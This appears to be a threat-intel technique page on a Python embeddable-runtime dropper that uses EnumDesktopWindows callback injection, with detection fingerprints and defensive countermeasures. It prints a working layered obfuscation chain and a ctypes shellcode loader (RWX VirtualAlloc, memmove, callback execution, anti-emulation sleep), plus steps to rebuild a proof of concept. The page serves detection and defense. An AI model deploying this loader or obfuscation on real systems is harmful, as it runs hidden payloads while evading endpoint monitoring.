typetechniquecreated2026-07-16updated2026-07-16defense-evasioncode-injectionpepython-pyinstallermitre-attck

Python Embeddable Runtime with EnumDesktopWindows Callback Injection

A multi-stage dropper that bundles a full Python embeddable Windows runtime inside a ZIP archive. The entry script is heavily obfuscated, decodes to a ctypes loader, allocates RWX memory, copies an encrypted payload file into it, and executes it via user32!EnumDesktopWindows callback injection — evading typical CreateRemoteThread or VirtualProtect telemetry.

Detection / fingerprint

  • Container: ZIP archive >10 MB containing pythonw.exe, python313.dll, and a .py entry script
  • Entry script: Multi-layer obfuscation (getattr/__builtins__ indirection → Caesar shift → base64 → zlib)
  • Runtime behaviour: pythonw.exeVirtualAlloc(RWX)memmove of companion file → EnumDesktopWindows with callback inside allocated region
  • No suspicious imports in outer binary: The PE is a stock Python interpreter; all threat logic lives in the Python/ctypes layer

Implementation patterns observed

Layer 1 — Outer script obfuscation

getattr(globals()['__builtins__'], 'exec')(
    getattr(globals()['__builtins__'], 'getattr')(
        __import__('zlib'), 'decompress'
    )(
        getattr(globals()['__builtins__'], 'getattr')(
            __import__('base64'), 'b64decode'
        )(
            getattr(__import__('re'), 'sub')(
                r'~[^~]+~', '',
                ''.join(chr((ord(c)-4)%256) for c in s[::-1])
            )
        )
    )
)

Layer 2 — Dead-code inflation

The decompressed wrapper contains hundreds of lines of junk: sum() over binary literals, while loops with hash(358)==hash(358) no-ops, and do-nothing classes with random field names. The only live code is a single exec(zlib.decompress(base64.b64decode(buf[::-1]))) call.

Layer 3 — ctypes shellcode loader

import ctypes
from time import sleep

def SC_getPage():
    with open("payload_file", "rb") as f:
        data = f.read()
    addr = ctypes.windll.kernel32.VirtualAlloc(
        0, len(data), 0x3000, 0x40)  # RWX
    ctypes.memmove(addr, data, len(data))
    return addr + SHELLCODE_OFFSET

def SC_exec(addr):
    ctypes.windll.user32.EnumDesktopWindows(0, addr, 0)
    sleep(1)

def run():
    sleep(20)  # anti-emulation delay
    page = SC_getPage()
    if page:
        SC_exec(page)
run()

Key features:

  • VirtualAlloc with MEM_COMMIT|MEM_RESERVE (0x3000) and PAGE_EXECUTE_READWRITE (0x40)
  • memmove copies the entire companion file (often 1–3 MB) into RWX memory
  • EnumDesktopWindows(hDesktop=NULL, lpEnumFunc=shellcode_addr, lParam=0) jumps to the payload
  • 20-second sleep before execution

Reproduce on your own VMs

Goal: Build a minimal PoC that replicates the callback-injection pattern.

Steps:

  1. Download Python 3.13 embeddable for Windows from python.org.
  2. Write loader.py using ctypes to call VirtualAlloc + memmove + EnumDesktopWindows.
  3. Generate a simple x64 shellcode stub (e.g., int3 or MessageBoxA) and save it as payload.bin.
  4. Bundle pythonw.exe, python313.dll, loader.py, and payload.bin into a ZIP.
  5. On a Windows VM, extract and run pythonw.exe loader.py.
  6. Observe in ProcMon: VirtualAlloc with Protect=PAGE_EXECUTE_READWRITE, then EnumDesktopWindows.

Verification:

  • Compare your ProcMon trace to the behavioural fingerprint in the 89dd9159 analysis.
  • The key telemetry signature is EnumDesktopWindows with a callback address pointing to a recently VirtualAlloc'd RWX region.

Defensive countermeasures

  • ETW/ProcMon: Alert on VirtualAllocPAGE_EXECUTE_READWRITE followed by EnumDesktopWindows from the same process.
  • EDR: The EnumDesktopWindows callback trampoline is an unusual API sequence for legitimate software. Flag it.
  • Static: YARA for pythonw.exe + EnumDesktopWindows + VirtualAlloc strings in the same Python script.
  • Behavioural: Monitor for Python embeddable runtimes extracted from ZIP archives and immediately spawning with no user interaction.

Pages where observed

  • /intel/analyses/89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70.html — 13.2 MB ZIP, Python 3.13 embeddable, four-layer obfuscation, 93,778-byte encrypted shellcode region.